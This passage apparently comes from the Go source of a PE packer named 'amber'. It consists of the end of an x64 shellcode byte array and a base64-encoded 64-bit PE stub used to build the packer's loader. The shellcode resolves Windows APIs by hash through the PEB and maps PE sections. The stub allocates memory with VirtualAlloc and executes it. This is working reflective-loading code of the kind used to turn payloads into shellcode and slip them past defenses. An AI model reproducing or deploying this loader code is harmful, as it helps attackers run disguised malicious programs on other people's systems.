0xff, 0xff, 0x84, 0xc9, 0x74, 0x0c, 0x45, 0x84, + 0xc0, 0xb8, 0x40, 0x00, 0x00, 0x00, 0x44, 0x0f, 0x45, 0xc8, 0x8b, 0x42, + 0x0c, 0x48, 0x01, 0xe8, 0x48, 0x89, 0x44, 0x24, 0x48, 0x8b, 0x42, 0x10, + 0x48, 0x89, 0x44, 0x24, 0x40, 0xc7, 0x44, 0x24, 0x3c, 0x00, 0x00, 0x00, + 0x00, 0x48, 0x8d, 0x44, 0x24, 0x3c, 0x48, 0x89, 0x44, 0x24, 0x20, 0x4d, + 0x89, 0xf0, 0x4c, 0x89, 0xea, 0x48, 0xc7, 0xc1, 0xff, 0xff, 0xff, 0xff, + 0x41, 0xba, 0x41, 0x4d, 0xde, 0x6e, 0xe8, 0xbe, 0x00, 0x00, 0x00, 0xff, + 0xd0, 0x85, 0xc0, 0x0f, 0x88, 0x28, 0xff, 0xff, 0xff, 0x83, 0xc6, 0x01, + 0x48, 0x83, 0xc3, 0x28, 0x0f, 0xb7, 0x47, 0x06, 0x39, 0xf0, 0x0f, 0x8e, + 0x1c, 0xff, 0xff, 0xff, 0x48, 0x89, 0xda, 0x8b, 0x43, 0x24, 0x85, 0xc0, + 0x74, 0xe3, 0x41, 0x89, 0xc1, 0x41, 0xc1, 0xf9, 0x1f, 0x41, 0x83, 0xe1, + 0xc8, 0x41, 0x83, 0xc1, 0x40, 0xa9, 0x00, 0x00, 0x00, 0x40, 0x0f, 0x84, + 0x23, 0xff, 0xff, 0xff, 0x85, 0xc0, 0x0f, 0x88, 0x41, 0xff, 0xff, 0xff, + 0xa9, 0x00, 0x00, 0x00, 0x20, 0x0f, 0x85, 0x00, 0xff, 0xff, 0xff, 0xb9, + 0x01, 0x00, 0x00, 0x00, 0x41, 0xb9, 0x02, 0x00, 0x00, 0x00, 0xe9, 0x3c, + 0xff, 0xff, 0xff, 0x56, 0x53, 0x48, 0x83, 0xec, 0x28, 0x48, 0x89, 0xce, + 0x48, 0x63, 0x41, 0x3c, 0x8b, 0x84, 0x01, 0xd0, 0x00, 0x00, 0x00, 0xba, + 0x00, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x11, 0x89, 0xc0, 0x48, 0x8b, + 0x5c, 0x01, 0x18, 0xba, 0x01, 0x00, 0x00, 0x00, 0x48, 0x85, 0xdb, 0x75, + 0x1d, 0x89, 0xd0, 0x48, 0x83, 0xc4, 0x28, 0x5b, 0x5e, 0xc3, 0x41, 0xb8, + 0x00, 0x00, 0x00, 0x00, 0xba, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf1, + 0xff, 0xd0, 0x48, 0x83, 0xc3, 0x08, 0x48, 0x8b, 0x03, 0x48, 0x85, 0xc0, + 0x75, 0xe4, 0xba, 0x01, 0x00, 0x00, 0x00, 0xeb, 0xd4, 0x41, 0x51, 0x41, + 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, + 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, + 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, + 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xf2, 0x44, 0x0f, 0x38, 0xf0, 0xc8, + 0xe2, 0xee, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, + 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x75, 0x65, 0x8b, + 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x5a, 0x48, 0x01, + 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, + 0xe3, 0x49, 0x4c, 0x8b, 0x4c, 0x24, 0x08, 0x48, 0xff, 0xc9, 0x41, 0x8b, + 0x34, 0x88, 0x48, 0x01, 0xd6, 0x48, 0x31, 0xc0, 0xac, 0xf2, 0x44, 0x0f, + 0x38, 0xf0, 0xc8, 0x38, 0xe0, 0x75, 0xf2, 0x45, 0x39, 0xd1, 0x75, 0xdc, + 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, + 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, + 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, + 0x41, 0x59, 0xc3, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x5d, + 0xff, 0xff, 0xff, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x59, 0x48, 0x29, 0xf1, + 0x48, 0x83, 0xc1, 0x11, 0x48, 0x89, 0xf7, 0x48, 0x83, 0xef, 0x05, 0xf3, + 0xaa, 0xfc, 0x48, 0x89, 0xec, 0x5d, 0xff, 0xe0, +} -// STUB64 contains the empty 64 bit PE file used for creating amber stub -var STUB64 = "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